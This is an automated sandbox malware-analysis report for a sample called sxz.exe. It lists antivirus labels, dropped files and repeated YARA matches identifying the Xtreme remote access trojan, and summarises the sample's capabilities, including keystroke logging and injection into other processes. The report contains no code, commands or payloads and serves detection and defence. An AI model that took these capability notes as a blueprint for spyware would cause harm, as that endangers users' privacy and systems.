Analysis Report

Overview

General Information

Joe Sandbox Version:	22.0.0
Analysis ID:	546427
Start time:	10:09:44
Joe Sandbox Product:	Cloud
Start date:	03.05.2018
Overall analysis duration:	0h 15m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	sxz.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.evad.expl.spyw.troj.winEXE@61/225@34/1
HCA Information:	Failed
EGA Information:	Successful, ratio: 71.4%
HDC Information:	Successful, ratio: 66.1% (good quality ratio 64.6%) Quality average: 82.3% Quality standard deviation: 25.4%
Cookbook Comments:	Adjust boot time Correcting counters for adjusted boot time Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): conhost.exe, WMIADAP.exe, dllhost.exe Execution Graph export aborted for target explorer.exe, PID 3960 because there are no executed function Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtReadFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: sxz.exe, javaw.exe, java.exe

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Contains functionality to modify the execution of threads in other processes

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely more UI automation may extend behavior

Sample has functionality to log and monitor keystrokes, analyze it with the 'Simulates keyboard and window changes' cookbook

Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user~1\AppData\Local\Temp\358saxio.exe	Avira: Label: DR/Delphi.svunx
Source: C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs	Avira: Label: VBS/Agent.281
Source: C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs	Avira: Label: VBS/Agent.276
Source: C:\Users\user\AppData\Roaming\Microsoft\Skype.exe	Avira: Label: DR/Delphi.svunx
Source: C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs	Avira: Label: VBS/Agent.281
Source: C:\Users\user~1\AppData\Local\Temp\server.exe	Avira: Label: TR/Spy.59904216
Source: C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs	Avira: Label: VBS/Agent.276

Antivirus detection for submitted file

Show sources

Source: sxz.exe

Avira: Label: DR/Delphi.wqtni

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user~1\AppData\Local\Temp\358saxio.exe

virustotal: Detection: 48%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: sxz.exe

virustotal: Detection: 43%

Perma Link

Antivirus detection for unpacked file

Show sources

Source: 19.1.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 12.0.358saxio.exe.400000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 27.1.Server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 5.2.svchost.exe.c80000.6.unpack	Avira: Label: TR/Spy.59904216
Source: 3.2.server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 15.0.Server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 2.1.sxz.exe.400000.0.unpack	Avira: Label: DR/Injector.toian
Source: 35.2.358saxio.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 27.2.Server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 15.0.Server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 19.0.358saxio.exe.400000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.server.exe.c80000.2.unpack	Avira: Label: TR/Spy.59904216
Source: 35.0.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 6.2.iexplore.exe.c80000.2.unpack	Avira: Label: TR/Spy.59904216
Source: 35.1.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 19.0.358saxio.exe.400000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.iexplore.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 12.2.358saxio.exe.23c0000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.0.sxz.exe.400000.1.unpack	Avira: Label: DR/Injector.toian
Source: 19.2.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 14.1.explorer.exe.1b80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 1.2.sxz.exe.1a40000.3.unpack	Avira: Label: DR/Injector.toian
Source: 35.2.358saxio.exe.1440000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 3.0.server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 15.1.Server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 1.0.sxz.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 14.1.explorer.exe.1b80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 35.0.358saxio.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 27.0.Server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 5.0.svchost.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 27.0.Server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 15.0.Server.exe.c80000.2.unpack	Avira: Label: TR/Spy.59904216
Source: 2.2.sxz.exe.400000.2.unpack	Avira: Label: DR/Injector.toian
Source: 19.0.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 15.2.Server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 12.2.358saxio.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 12.0.358saxio.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.0.sxz.exe.400000.3.unpack	Avira: Label: DR/Injector.toian
Source: 2.0.sxz.exe.400000.2.unpack	Avira: Label: DR/Injector.toian
Source: 34.0.iexplore.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 15.0.Server.exe.c80000.3.unpack	Avira: Label: TR/Spy.59904216
Source: 3.0.server.exe.c80000.3.unpack	Avira: Label: TR/Spy.59904216
Source: 34.2.iexplore.exe.c80000.2.unpack	Avira: Label: TR/Spy.59904216
Source: 27.0.Server.exe.c80000.3.unpack	Avira: Label: TR/Spy.59904216
Source: 3.0.server.exe.c80000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 2.0.sxz.exe.400000.5.unpack	Avira: Label: DR/Injector.toian
Source: 5.2.svchost.exe.290000.1.unpack	Avira: Label: TR/Spy.59904216
Source: 1.2.sxz.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 12.0.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 27.0.Server.exe.c80000.2.unpack	Avira: Label: TR/Spy.59904216
Source: 12.0.358saxio.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 3.1.server.exe.c80000.0.unpack	Avira: Label: TR/Spy.59904216
Source: 35.0.358saxio.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.0.sxz.exe.400000.4.unpack	Avira: Label: DR/Injector.toian
Source: 19.0.358saxio.exe.400000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 35.0.358saxio.exe.400000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 19.0.358saxio.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 2.0.sxz.exe.400000.0.unpack	Avira: Label: DR/Injector.toian
Source: 1.1.sxz.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 19.0.358saxio.exe.400000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen
Source: 12.1.358saxio.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen

Yara signature match

Show sources

Source: 00000003.00000000.14905165956.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000000.14937698570.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000002.14989895202.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000000.15000788791.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000000.14932929795.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000022.00000000.15012281235.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000022.00000000.15012281235.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000003.00000001.14905808954.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000E.00000001.14937243423.01B81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000003.00000002.14987723130.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000001.15007151931.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000000.15001441864.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000005.00000002.15179880413.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000005.00000002.15179880413.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000000.14999659592.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000006.00000002.14955870384.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000006.00000002.14955870384.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000000.14944848932.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000005.00000002.15177862719.00290000.00000004.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000005.00000002.15177862719.00290000.00000004.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000000.14950318636.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000F.00000001.14957378618.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000006.00000000.14913253676.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000006.00000000.14913253676.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000003.00000000.14904035142.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000000E.00000001.14936774837.01B81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000002.15035469105.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000003.00000000.14905430148.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000003.00000000.14904944731.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000005.00000000.14909911900.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000005.00000000.14909911900.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 0000001B.00000000.15004091676.00C81000.00000020.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 00000022.00000002.15021754459.00C80000.00000040.sdmp, type: MEMORY	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 00000022.00000002.15021754459.00C80000.00000040.sdmp, type: MEMORY	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: C:\Windows\InstallDir\Server.exe, type: DROPPED	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: C:\Windows\InstallDir\Server.exe, type: DROPPED	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: C:\Users\user~1\AppData\Local\Temp\server.exe, type: DROPPED	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: C:\Users\user~1\AppData\Local\Temp\server.exe, type: DROPPED	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 34.0.iexplore.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 34.0.iexplore.exe.c80000.0.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.1.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.1.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.2.server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.2.server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.0.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 15.0.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.2.svchost.exe.c80000.6.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.2.svchost.exe.c80000.6.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.0.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 15.0.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.0.server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.0.server.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 6.0.iexplore.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 6.0.iexplore.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 27.2.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 27.2.Server.exe.c80000.1.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 6.2.iexplore.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 6.2.iexplore.exe.c80000.2.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 5.2.svchost.exe.c80000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 5.2.svchost.exe.c80000.6.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 14.1.explorer.exe.1b80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 14.1.explorer.exe.1b80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 3.0.server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
Source: 3.0.server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Xtreme author = Kevin Breen <kevin@techanarchy.net>, reference = http://malwareconfig.com/stats/Xtreme, maltype = Remote Access Trojan, description = Detects Xtreme RAT, date = 2014/04, ver = 2.9, 3.1, 3.2, 3.5, filetype = exe
Source: 15.1.Server.exe.c80000.0.unpack, type: UNPACKEDPE	Matched rule: Xtreme_Sep17_1 author = Florian Roth, reference = Internal Research, description = Detects XTREME sample analyzed in September 2017, date = 2017-09-27, hash1 = 93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6
